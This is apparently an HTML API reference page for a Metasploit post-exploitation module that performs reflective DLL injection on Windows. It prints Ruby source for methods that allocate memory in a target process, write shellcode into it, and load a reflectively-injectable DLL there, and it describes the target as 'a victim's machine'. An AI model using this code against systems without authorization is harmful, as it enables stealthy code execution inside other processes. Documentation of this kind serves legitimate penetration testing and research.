api/Msf/Post/Windows/ReflectiveDLLInjection.html

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      <div id="content"><h1>Module: Msf::Post::Windows::ReflectiveDLLInjection
  
  
</h1>
<div class="box_info">
  

  <dl>
      <dt>Includes:</dt>
      <dd><span class='object_link'><a href="../../ReflectiveDLLLoader.html" title="Msf::ReflectiveDLLLoader (module)">ReflectiveDLLLoader</a></span></dd>
  </dl>
  
  
  <dl>
    <dt>Included in:</dt>
    <dd><span class='object_link'><a href="Process.html" title="Msf::Post::Windows::Process (module)">Process</a></span></dd>
  </dl>
  

  <dl>
    <dt>Defined in:</dt>
    <dd>lib/msf/core/post/windows/reflective_dll_injection.rb</dd>
  </dl>
  
</div>

<h2>Overview</h2><div class="docstring">
  <div class="discussion">
    
<p>This module exposes functionality which makes it easier to do Reflective DLL Injection into processes on a victim’s machine.</p>


  </div>
</div>
<div class="tags">
  

</div>
  
    <h2>
      Constant Summary
      <small><a href="#" class="constants_summary_toggle">collapse</a></small>
    </h2>

    <dl class="constants">
      
        <dt id="PAGE_ALIGN-constant" class="">PAGE_ALIGN =
          
        </dt>
        <dd><pre class="code"><span class='int'>1024</span></pre></dd>
      
    </dl>
  

  <h3 class="inherited">Constants included
     from <span class='object_link'><a href="../../ReflectiveDLLLoader.html" title="Msf::ReflectiveDLLLoader (module)">ReflectiveDLLLoader</a></span></h3>
  <p class="inherited"><span class='object_link'><a href="../../ReflectiveDLLLoader.html#EXPORT_REFLECTIVELOADER-constant" title="Msf::ReflectiveDLLLoader::EXPORT_REFLECTIVELOADER (constant)">ReflectiveDLLLoader::EXPORT_REFLECTIVELOADER</a></span></p>


    <h2>
      Instance Method Summary
      <small><a href="#" class="summary_toggle">collapse</a></small>
    </h2>

    <ul class="summary">
      
        <li class="public ">
  <span class="summary_signature">
    
      <a href="#initialize-instance_method" title="#initialize (instance method)">#<strong>initialize</strong>(info = {})  &#x21d2; Object </a>
    

  </span>
  
  
    <span class="summary_desc"><div class='inline'></div></span>
  
</li>

      
        <li class="public ">
  <span class="summary_signature">
    
      <a href="#inject_dll_data_into_process-instance_method" title="#inject_dll_data_into_process (instance method)">#<strong>inject_dll_data_into_process</strong>(process, dll_data, loader_name: &#39;ReflectiveLoader&#39;, loader_ordinal: EXPORT_REFLECTIVELOADER)  &#x21d2; Array </a>
    

  </span>
  
  
    <span class="summary_desc"><div class='inline'>
<p>Inject a reflectively-injectable DLL into the given process using reflective injection.</p>
</div></span>
  
</li>

      
        <li class="public ">
  <span class="summary_signature">
    
      <a href="#inject_dll_into_process-instance_method" title="#inject_dll_into_process (instance method)">#<strong>inject_dll_into_process</strong>(process, dll_path, loader_name: &#39;ReflectiveLoader&#39;, loader_ordinal: EXPORT_REFLECTIVELOADER)  &#x21d2; Array </a>
    

  </span>
  
  
    <span class="summary_desc"><div class='inline'>
<p>Inject a reflectively-injectable DLL into the given process using reflective injection.</p>
</div></span>
  
</li>

      
        <li class="public ">
  <span class="summary_signature">
    
      <a href="#inject_into_process-instance_method" title="#inject_into_process (instance method)">#<strong>inject_into_process</strong>(process, shellcode)  &#x21d2; Integer </a>
    

  </span>
  
  
    <span class="summary_desc"><div class='inline'>
<p>Inject the given shellcode into a target process.</p>
</div></span>
  
</li>

      
    </ul>
  

  <h3 class="inherited">Methods included from <span class='object_link'><a href="../../ReflectiveDLLLoader.html" title="Msf::ReflectiveDLLLoader (module)">ReflectiveDLLLoader</a></span></h3>
  <p class="inherited"><span class='object_link'><a href="../../ReflectiveDLLLoader.html#load_rdi_dll-instance_method" title="Msf::ReflectiveDLLLoader#load_rdi_dll (method)">#load_rdi_dll</a></span>, <span class='object_link'><a href="../../ReflectiveDLLLoader.html#load_rdi_dll_from_data-instance_method" title="Msf::ReflectiveDLLLoader#load_rdi_dll_from_data (method)">#load_rdi_dll_from_data</a></span></p>


  <div id="instance_method_details" class="method_details_list">
    <h2>Instance Method Details</h2>

    
      <div class="method_details first">
  <h3 class="signature first" id="initialize-instance_method">
  
    #<strong>initialize</strong>(info = {})  &#x21d2; <tt>Object</tt> 
  

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      <pre class="code"><span class="info file"># File 'lib/msf/core/post/windows/reflective_dll_injection.rb', line 16</span>

<span class='kw'>def</span> <span class='id identifier rubyid_initialize'>initialize</span><span class='lparen'>(</span><span class='id identifier rubyid_info'>info</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
  <span class='kw'>super</span><span class='lparen'>(</span>
    <span class='id identifier rubyid_update_info'>update_info</span><span class='lparen'>(</span>
      <span class='id identifier rubyid_info'>info</span><span class='comma'>,</span>
      <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Compat</span><span class='tstring_end'>&#39;</span></span> <span class='op'>=&gt;</span> <span class='lbrace'>{</span>
        <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Meterpreter</span><span class='tstring_end'>&#39;</span></span> <span class='op'>=&gt;</span> <span class='lbrace'>{</span>
          <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Commands</span><span class='tstring_end'>&#39;</span></span> <span class='op'>=&gt;</span> <span class='qwords_beg'>%w[</span><span class='words_sep'>
            </span><span class='tstring_content'>stdapi_sys_process_memory_allocate</span><span class='words_sep'>
            </span><span class='tstring_content'>stdapi_sys_process_memory_protect</span><span class='words_sep'>
            </span><span class='tstring_content'>stdapi_sys_process_memory_write</span><span class='words_sep'>
          </span><span class='tstring_end'>]</span></span>
        <span class='rbrace'>}</span>
      <span class='rbrace'>}</span>
    <span class='rparen'>)</span>
  <span class='rparen'>)</span>
<span class='kw'>end</span></pre>
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</div>
    
      <div class="method_details ">
  <h3 class="signature " id="inject_dll_data_into_process-instance_method">
  
    #<strong>inject_dll_data_into_process</strong>(process, dll_data, loader_name: &#39;ReflectiveLoader&#39;, loader_ordinal: EXPORT_REFLECTIVELOADER)  &#x21d2; <tt>Array</tt> 
  

</h3><div class="docstring">
  <div class="discussion">
    
<p>Inject a reflectively-injectable DLL into the given process using reflective injection.</p>


  </div>
</div>
<div class="tags">
  <p class="tag_title">Parameters:</p>
<ul class="param">
  
    <li>
      
        <span class='name'>process</span>
      
      
        <span class='type'>(<tt><span class='object_link'><a href="../../../Rex/Post/Meterpreter/Extensions/Stdapi/Sys/Process.html" title="Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process (class)">Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process</a></span></tt>)</span>
      
      
        &mdash;
        <div class='inline'>
<p>The process to inject the shellcode into.</p>
</div>
      
    </li>
  
    <li>
      
        <span class='name'>dll_data</span>
      
      
        <span class='type'>(<tt>String</tt>)</span>
      
      
        &mdash;
        <div class='inline'>
<p>the DLL contents which is to be loaded and injected.</p>
</div>
      
    </li>
  
</ul>

<p class="tag_title">Returns:</p>
<ul class="return">
  
    <li>
      
      
        <span class='type'>(<tt>Array</tt>)</span>
      
      
        &mdash;
        <div class='inline'>
<p>Tuple of allocated memory address and offset to the <code>ReflectiveLoader</code> function.</p>
</div>
      
    </li>
  
</ul>

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      <pre class="code"><span class="info file"># File 'lib/msf/core/post/windows/reflective_dll_injection.rb', line 80</span>

<span class='kw'>def</span> <span class='id identifier rubyid_inject_dll_data_into_process'>inject_dll_data_into_process</span><span class='lparen'>(</span><span class='id identifier rubyid_process'>process</span><span class='comma'>,</span> <span class='id identifier rubyid_dll_data'>dll_data</span><span class='comma'>,</span> <span class='label'>loader_name:</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>ReflectiveLoader</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='label'>loader_ordinal:</span> <span class='const'><span class='object_link'><a href="../../ReflectiveDLLLoader.html#EXPORT_REFLECTIVELOADER-constant" title="Msf::ReflectiveDLLLoader::EXPORT_REFLECTIVELOADER (constant)">EXPORT_REFLECTIVELOADER</a></span></span><span class='rparen'>)</span>
  <span class='id identifier rubyid_decrypted_dll_data'>decrypted_dll_data</span> <span class='op'>=</span> <span class='op'>::</span><span class='const'>MetasploitPayloads</span><span class='op'>::</span><span class='const'>Crypto</span><span class='period'>.</span><span class='id identifier rubyid_decrypt'>decrypt</span><span class='lparen'>(</span><span class='label'>ciphertext:</span> <span class='id identifier rubyid_dll_data'>dll_data</span><span class='rparen'>)</span>
  <span class='id identifier rubyid_offset'>offset</span> <span class='op'>=</span> <span class='id identifier rubyid_load_rdi_dll_from_data'>load_rdi_dll_from_data</span><span class='lparen'>(</span><span class='id identifier rubyid_decrypted_dll_data'>decrypted_dll_data</span><span class='comma'>,</span> <span class='label'>loader_name:</span> <span class='id identifier rubyid_loader_name'>loader_name</span><span class='comma'>,</span> <span class='label'>loader_ordinal:</span> <span class='id identifier rubyid_loader_ordinal'>loader_ordinal</span><span class='rparen'>)</span>
  <span class='id identifier rubyid_dll_mem'>dll_mem</span> <span class='op'>=</span> <span class='id identifier rubyid_inject_into_process'>inject_into_process</span><span class='lparen'>(</span><span class='id identifier rubyid_process'>process</span><span class='comma'>,</span> <span class='id identifier rubyid_decrypted_dll_data'>decrypted_dll_data</span><span class='rparen'>)</span>

  <span class='kw'>return</span> <span class='id identifier rubyid_dll_mem'>dll_mem</span><span class='comma'>,</span> <span class='id identifier rubyid_offset'>offset</span>
<span class='kw'>end</span></pre>
    </td>
  </tr>
</table>
</div>
    
      <div class="method_details ">
  <h3 class="signature " id="inject_dll_into_process-instance_method">
  
    #<strong>inject_dll_into_process</strong>(process, dll_path, loader_name: &#39;ReflectiveLoader&#39;, loader_ordinal: EXPORT_REFLECTIVELOADER)  &#x21d2; <tt>Array</tt> 
  

</h3><div class="docstring">
  <div class="discussion">
    
<p>Inject a reflectively-injectable DLL into the given process using reflective injection.</p>


  </div>
</div>
<div class="tags">
  <p class="tag_title">Parameters:</p>
<ul class="param">
  
    <li>
      
        <span class='name'>process</span>
      
      
        <span class='type'>(<tt><span class='object_link'><a href="../../../Rex/Post/Meterpreter/Extensions/Stdapi/Sys/Process.html" title="Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process (class)">Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process</a></span></tt>)</span>
      
      
        &mdash;
        <div class='inline'>
<p>The process to inject the shellcode into.</p>
</div>
      
    </li>
  
    <li>
      
        <span class='name'>dll_path</span>
      
      
        <span class='type'>(<tt>String</tt>)</span>
      
      
        &mdash;
        <div class='inline'>
<p>Path to the DLL that is to be loaded and injected.</p>
</div>
      
    </li>
  
</ul>

<p class="tag_title">Returns:</p>
<ul class="return">
  
    <li>
      
      
        <span class='type'>(<tt>Array</tt>)</span>
      
      
        &mdash;
        <div class='inline'>
<p>Tuple of allocated memory address and offset to the <code>ReflectiveLoader</code> function.</p>
</div>
      
    </li>
  
</ul>

</div><table class="source_code">
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    <td>
      <pre class="code"><span class="info file"># File 'lib/msf/core/post/windows/reflective_dll_injection.rb', line 64</span>

<span class='kw'>def</span> <span class='id identifier rubyid_inject_dll_into_process'>inject_dll_into_process</span><span class='lparen'>(</span><span class='id identifier rubyid_process'>process</span><span class='comma'>,</span> <span class='id identifier rubyid_dll_path'>dll_path</span><span class='comma'>,</span> <span class='label'>loader_name:</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>ReflectiveLoader</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='label'>loader_ordinal:</span> <span class='const'><span class='object_link'><a href="../../ReflectiveDLLLoader.html#EXPORT_REFLECTIVELOADER-constant" title="Msf::ReflectiveDLLLoader::EXPORT_REFLECTIVELOADER (constant)">EXPORT_REFLECTIVELOADER</a></span></span><span class='rparen'>)</span>
  <span class='id identifier rubyid_dll'>dll</span><span class='comma'>,</span> <span class='id identifier rubyid_offset'>offset</span> <span class='op'>=</span> <span class='id identifier rubyid_load_rdi_dll'>load_rdi_dll</span><span class='lparen'>(</span><span class='id identifier rubyid_dll_path'>dll_path</span><span class='comma'>,</span> <span class='label'>loader_name:</span> <span class='id identifier rubyid_loader_name'>loader_name</span><span class='comma'>,</span> <span class='label'>loader_ordinal:</span> <span class='id identifier rubyid_loader_ordinal'>loader_ordinal</span><span class='rparen'>)</span>
  <span class='id identifier rubyid_dll_mem'>dll_mem</span> <span class='op'>=</span> <span class='id identifier rubyid_inject_into_process'>inject_into_process</span><span class='lparen'>(</span><span class='id identifier rubyid_process'>process</span><span class='comma'>,</span> <span class='id identifier rubyid_dll'>dll</span><span class='rparen'>)</span>

  <span class='kw'>return</span> <span class='id identifier rubyid_dll_mem'>dll_mem</span><span class='comma'>,</span> <span class='id identifier rubyid_offset'>offset</span>
<span class='kw'>end</span></pre>
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</div>
    
      <div class="method_details ">
  <h3 class="signature " id="inject_into_process-instance_method">
  
    #<strong>inject_into_process</strong>(process, shellcode)  &#x21d2; <tt>Integer</tt> 
  

</h3><div class="docstring">
  <div class="discussion">
    
<p>Inject the given shellcode into a target process.</p>


  </div>
</div>
<div class="tags">
  <p class="tag_title">Parameters:</p>
<ul class="param">
  
    <li>
      
        <span class='name'>process</span>
      
      
        <span class='type'>(<tt><span class='object_link'><a href="../../../Rex/Post/Meterpreter/Extensions/Stdapi/Sys/Process.html" title="Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process (class)">Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process</a></span></tt>)</span>
      
      
        &mdash;
        <div class='inline'>
<p>The process to inject the shellcode into.</p>
</div>
      
    </li>
  
    <li>
      
        <span class='name'>shellcode</span>
      
      
        <span class='type'>(<tt>String</tt>)</span>
      
      
        &mdash;
        <div class='inline'>
<p>The shellcode to inject.</p>
</div>
      
    </li>
  
</ul>

<p class="tag_title">Returns:</p>
<ul class="return">
  
    <li>
      
      
        <span class='type'>(<tt>Integer</tt>)</span>
      
      
        &mdash;
        <div class='inline'>
<p>Address of the shellcode in the target process's memory.</p>
</div>
      
    </li>
  
</ul>

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      <pre class="code"><span class="info file"># File 'lib/msf/core/post/windows/reflective_dll_injection.rb', line 41</span>

<span class='kw'>def</span> <span class='id identifier rubyid_inject_into_process'>inject_into_process</span><span class='lparen'>(</span><span class='id identifier rubyid_process'>process</span><span class='comma'>,</span> <span class='id identifier rubyid_shellcode'>shellcode</span><span class='rparen'>)</span>
  <span class='id identifier rubyid_shellcode_size'>shellcode_size</span> <span class='op'>=</span> <span class='id identifier rubyid_shellcode'>shellcode</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span>

  <span class='kw'>unless</span> <span class='id identifier rubyid_shellcode'>shellcode</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'>%</span> <span class='const'><span class='object_link'><a href="#PAGE_ALIGN-constant" title="Msf::Post::Windows::ReflectiveDLLInjection::PAGE_ALIGN (constant)">PAGE_ALIGN</a></span></span> <span class='op'>==</span> <span class='int'>0</span>
    <span class='id identifier rubyid_shellcode_size'>shellcode_size</span> <span class='op'>+=</span> <span class='const'><span class='object_link'><a href="#PAGE_ALIGN-constant" title="Msf::Post::Windows::ReflectiveDLLInjection::PAGE_ALIGN (constant)">PAGE_ALIGN</a></span></span> <span class='op'>-</span> <span class='lparen'>(</span><span class='id identifier rubyid_shellcode'>shellcode</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'>%</span> <span class='const'><span class='object_link'><a href="#PAGE_ALIGN-constant" title="Msf::Post::Windows::ReflectiveDLLInjection::PAGE_ALIGN (constant)">PAGE_ALIGN</a></span></span><span class='rparen'>)</span>
  <span class='kw'>end</span>

  <span class='id identifier rubyid_shellcode_mem'>shellcode_mem</span> <span class='op'>=</span> <span class='id identifier rubyid_process'>process</span><span class='period'>.</span><span class='id identifier rubyid_memory'>memory</span><span class='period'>.</span><span class='id identifier rubyid_allocate'>allocate</span><span class='lparen'>(</span><span class='id identifier rubyid_shellcode_size'>shellcode_size</span><span class='rparen'>)</span>
  <span class='id identifier rubyid_process'>process</span><span class='period'>.</span><span class='id identifier rubyid_memory'>memory</span><span class='period'>.</span><span class='id identifier rubyid_protect'>protect</span><span class='lparen'>(</span><span class='id identifier rubyid_shellcode_mem'>shellcode_mem</span><span class='rparen'>)</span>
  <span class='id identifier rubyid_process'>process</span><span class='period'>.</span><span class='id identifier rubyid_memory'>memory</span><span class='period'>.</span><span class='id identifier rubyid_write'>write</span><span class='lparen'>(</span><span class='id identifier rubyid_shellcode_mem'>shellcode_mem</span><span class='comma'>,</span> <span class='id identifier rubyid_shellcode'>shellcode</span><span class='rparen'>)</span>

  <span class='kw'>return</span> <span class='id identifier rubyid_shellcode_mem'>shellcode_mem</span>
<span class='kw'>end</span></pre>
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